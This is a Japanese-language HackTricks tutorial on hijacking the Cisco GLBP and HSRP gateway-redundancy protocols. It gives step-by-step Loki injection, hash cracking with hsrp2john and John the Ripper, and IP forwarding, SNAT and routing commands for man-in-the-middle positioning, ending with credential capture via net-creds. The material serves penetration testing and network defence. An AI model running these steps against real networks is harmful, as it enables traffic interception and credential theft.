10 KiB
GLBP & HSRP Attacks
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスウェグを手に入れる
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- **💬 Discordグループ**に参加するか、telegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローする
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
FHRPハイジャッキング概要
FHRPについての洞察
FHRPは、複数のルーターを1つの仮想ユニットに統合することで、ネットワークの堅牢性を提供し、負荷分散と障害耐性を向上させるよう設計されています。Cisco Systemsは、GLBPやHSRPなどの優れたプロトコルをこのスイートで導入しました。
GLBPプロトコルの洞察
Ciscoの創造物であるGLBPは、TCP/IPスタック上で機能し、通信にはポート3222でUDPを使用します。GLBPグループ内のルーターは、3秒ごとに「hello」パケットを交換します。ルーターがこれらのパケットを10秒間送信しない場合、オフラインと見なされます。ただし、これらのタイマーは固定されておらず、変更可能です。
GLBPの動作と負荷分散
GLBPは、1つの仮想IPと複数の仮想MACアドレスを使用して、ルーター間で負荷分散を可能にすることで際立っています。GLBPグループでは、すべてのルーターがパケットの転送に関与します。HSRP/VRRPとは異なり、GLBPは次のメカニズムを通じて本物の負荷分散を提供します:
- ホスト依存型負荷分散: ホストに一貫したAVF MACアドレス割り当てを維持し、安定したNAT構成に不可欠です。
- ラウンドロビン負荷分散: リクエストするホスト間でAVF MACアドレスの割り当てを交互に行うデフォルトのアプローチ。
- 重み付きラウンドロビン負荷分散: 事前に定義された「重み」メトリクスに基づいて負荷を分散します。
GLBPの主要なコンポーネントと用語
- AVG(Active Virtual Gateway): MACアドレスをピアルーターに割り当てる責任を持つ主要なルーター。
- AVF(Active Virtual Forwarder): ネットワークトラフィックを管理するために指定されたルーター。
- GLBP優先度: AVGを決定するメトリクスで、デフォルトは100から255までの範囲で開始します。
- GLBP重み: ルーター上の現在の負荷を反映し、手動で調整するか、Object Trackingを介して調整できます。
- GLBP仮想IPアドレス: 接続されたすべてのデバイスのデフォルトゲートウェイとして機能します。
GLBPでは、予約されたマルチキャストアドレス224.0.0.102とUDPポート3222を使用して相互作用します。ルーターは3秒ごとに「hello」パケットを送信し、パケットが10秒間欠落した場合は非稼働と見なされます。
GLBP攻撃メカニズム
攻撃者は、最も高い優先度値(255)を持つGLBPパケットを送信することで、主要ルーターになることができます。これにより、DoSやMITM攻撃が発生し、トラフィックの傍受やリダイレクトが可能になります。
Lokiを使用したGLBP攻撃の実行
Lokiは、優先度と重みが255に設定されたパケットを注入することでGLBP攻撃を実行できます。攻撃前の手順には、Wiresharkなどのツールを使用して、仮想IPアドレス、認証の有無、およびルーターの優先度値などの情報を収集することが含まれます。
攻撃手順:
- プロミスキャスモードに切り替えてIPフォワーディングを有効にします。
- ターゲットルーターを特定し、そのIPを取得します。
- Gratuitous ARPを生成します。
- AVGをなりすまして悪意のあるGLBPパケットを注入します。
- 攻撃者のネットワークインターフェースにセカンダリIPアドレスを割り当て、GLBP仮想IPを反映させます。
- 完全なトラフィックの可視性のためにSNATを実装します。
- インターネットアクセスを元のAVGルーターを介して継続するようにルーティングを調整します。
これらの手順に従うことで、攻撃者は自分自身を「中間者」として配置し、暗号化されていないまたは機密性の高いデータを含むネットワークトラフィックを傍受および分析できます。
デモンストレーションのために、必要なコマンドスニペットを以下に示します:
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
HSRPハイジャックのパッシブな説明とコマンドの詳細
HSRP(Hot Standby Router/Redundancy Protocol)の概要
HSRPは、ネットワークゲートウェイの冗長性のために設計されたCisco独自のプロトコルです。複数の物理ルータを1つの論理ユニットに構成し、共有IPアドレスを持つことができます。この論理ユニットは、トラフィックを管理するための責任を持つプライマリルータによって管理されます。GLBPが優先度や重みなどのメトリクスを使用して負荷分散を行うのに対し、HSRPはトラフィック管理のために単一のアクティブルータを使用します。
HSRPの役割と用語
- HSRPアクティブルータ: トラフィックフローを管理するゲートウェイとして機能するデバイス。
- HSRPスタンバイルータ: アクティブルータが故障した場合に引き継ぐ準備ができたバックアップルータ。
- HSRPグループ: 単一の強固な仮想ルータを形成するために協力するルータのセット。
- HSRP MACアドレス: HSRPセットアップ内の論理ルータに割り当てられた仮想MACアドレス。
- HSRP仮想IPアドレス: 接続されたデバイスのデフォルトゲートウェイとして機能するHSRPグループの仮想IPアドレス。
HSRPのバージョン
HSRPには、HSRPv1とHSRPv2の2つのバージョンがあり、主にグループ容量、マルチキャストIPの使用、および仮想MACアドレス構造が異なります。プロトコルは、サービス情報の交換に特定のマルチキャストIPアドレスを使用し、Helloパケットは3秒ごとに送信されます。パケットが10秒間受信されない場合、ルータは非アクティブと見なされます。
HSRP攻撃メカニズム
HSRP攻撃は、最大優先度値を注入することでアクティブルータの役割を強制的に引き継ぐことを含みます。これにより、Man-In-The-Middle(MITM)攻撃が発生する可能性があります。攻撃前の重要なステップには、HSRPセットアップに関するデータを収集することが含まれ、これはトラフィック分析のためにWiresharkを使用して行うことができます。
HSRP認証のバイパス手順
- HSRPデータを含むネットワークトラフィックを.pcapファイルとして保存します。
tcpdump -w hsrp_traffic.pcap
- hsrp2john.pyを使用して.pcapファイルからMD5ハッシュを抽出します。
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
- John the Ripperを使用してMD5ハッシュをクラックします。
john --wordlist=mywordlist.txt hsrp_hashes
Lokiを使用したHSRPインジェクションの実行
- Lokiを起動してHSRP広告を特定します。
- ネットワークインターフェースをプロミスキャスモードに設定し、IPフォワーディングを有効にします。
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
- Lokiを使用して特定のルータをターゲットにし、クラックされたHSRPパスワードを入力し、アクティブルータを偽装するために必要な設定を行います。
- アクティブルータの役割を取得した後、ネットワークインターフェースとIPテーブルを設定して正規のトラフィックを傍受します。
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
- 以前のアクティブルータを介してトラフィックをルーティングするためにルーティングテーブルを変更します。
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
- 傍受したトラフィックから資格情報をキャプチャするためにnet-creds.pyや類似のユーティリティを使用します。
sudo python2 net-creds.py -i eth0
これらの手順を実行することで、攻撃者はGLBPハイジャックの手順と同様にトラフィックを傍受および操作する立場に置かれます。これは、HSRPなどの冗長性プロトコルの脆弱性と堅牢なセキュリティ対策の必要性を示しています。